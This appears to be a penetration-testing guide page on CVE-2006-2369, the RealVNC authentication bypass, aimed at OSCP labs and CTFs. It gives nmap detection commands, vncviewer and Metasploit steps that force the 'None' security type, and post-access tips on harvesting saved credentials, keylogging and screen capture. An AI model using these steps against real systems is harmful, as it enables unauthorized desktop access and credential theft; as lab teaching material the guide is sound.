Skip to content
HackIndex.io

CVE-2006-2369 – RealVNC Authentication Bypass

4 min read Created Mar 12, 2026 Last updated Mar 12, 2026

RealVNC 4.1.0 and 4.1.1 allow a client to specify its preferred security type during the RFB handshake. The server accepts Type 1 - None even when it was not advertised as a supported option. The flaw is in how the server validates the client's choice. It does not compare the selected type against its own advertised list. The client can therefore request unauthenticated access regardless of server configuration. Sending a None authentication request bypasses the password check entirely and grants full desktop access without credentials.

This is a protocol-level implementation bug, not a misconfiguration. No server setting can disable the bypass. The only fix is upgrading to a patched version. Affects RealVNC 4.1.0 and 4.1.1 on Windows. Also present in products embedding RealVNC including Cisco CallManager and AdderLink IP KVM switches. Still appears in OSCP labs and CTFs on older Windows machines.

Affected products:

  • RealVNC 4.1.0 and 4.1.1 on Windows

  • Cisco CallManager with embedded RealVNC

  • AdderLink IP KVM switches using RealVNC components

CVE-2006-2369 RealVNC bypass confirmation

┌──(kali㉿kali)-[~]
└─$ nmap -p 5900 --script realvnc-auth-bypass $TARGET_IP 
5900/tcp open  vnc
| realvnc-auth-bypass:
|   VULNERABLE:
|   RealVNC 4.1.0 - 4.1.1 Authentication Bypass
|     State: VULNERABLE
|     IDs: CVE:CVE-2006-2369

A State: VULNERABLE result confirms the server accepted Type 1 - None during the test handshake. The script only completes the auth negotiation and reports the result without exploiting the server. If the script returns no finding, the target is likely patched. A filtered port means the service is not reachable on that port. Proceed to exploitation once the script confirms the bypass.

Manual Exploitation

Connect with vncviewer. On vulnerable builds the client proposes Type 1 - None during the RFB handshake. The desktop renders without a password prompt. If a password dialog appears anyway, press Enter without typing anything. An empty submission completes the bypass on vulnerable servers.

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

Some vncviewer builds negotiate security types automatically and may not request None if the server advertises other types first. The --SecurityTypes None flag forces the client to request only Type 1, bypassing automatic negotiation. If the connection is refused entirely, the service is likely patched or a firewall is blocking the port. If the handshake succeeds but a Windows login screen appears, the VNC auth bypass worked. The Windows user session is locked or logged out, which is an OS-level issue unrelated to this CVE. Force it explicitly:

┌──(kali㉿kali)-[~]
└─$ vncviewer --SecurityTypes None $TARGET_IP:5900
┌──(kali㉿kali)-[~]
└─$ xtigervncviewer -SecurityTypes None $TARGET_IP:5900

Metasploit Auxiliary Module

The realvnc_41_bypass auxiliary module performs the same RFB handshake exploit and opens a graphical VNC session. It is an admin module, not an exploit module, and does not return a Meterpreter session. The result is direct desktop access to the target. Set RHOSTS to the target IP and run.

msf6 > msfconsole 
use auxiliary/admin/vnc/realvnc_41_bypass
set RHOSTS $TARGET_IP
run

Non-Standard Ports

The bypass is in the RFB protocol negotiation itself and works on any port. VNC defaults to 5900, but embedded devices and appliances frequently bind to non-standard ports. KVM switches and remote management interfaces may use 5800, 5901, or vendor-defined ports. Check earlier enumeration output to confirm the actual port. If the service was not found on 5900, scan a wider port range before assuming VNC is absent. Specify the port directly:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script realvnc-auth-bypass $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ vncviewer --SecurityTypes None $TARGET_IP:$PORT

What You Get

A full graphical session as the user running the VNC server. On older unpatched Windows systems this is often SYSTEM or a local administrator. Open a command prompt from the desktop to confirm the privilege context. From there, run local enumeration and work toward privilege escalation if needed.

If the account is not already privileged, check the desktop for saved credentials, open documents, and mapped drives. Browser windows, password managers, and sticky notes are worth reviewing. VNC access also allows keylogging and screen capture while the session is active. Take a screenshot that shows the hostname and current user before closing the session. This documents the impact level for reporting.

References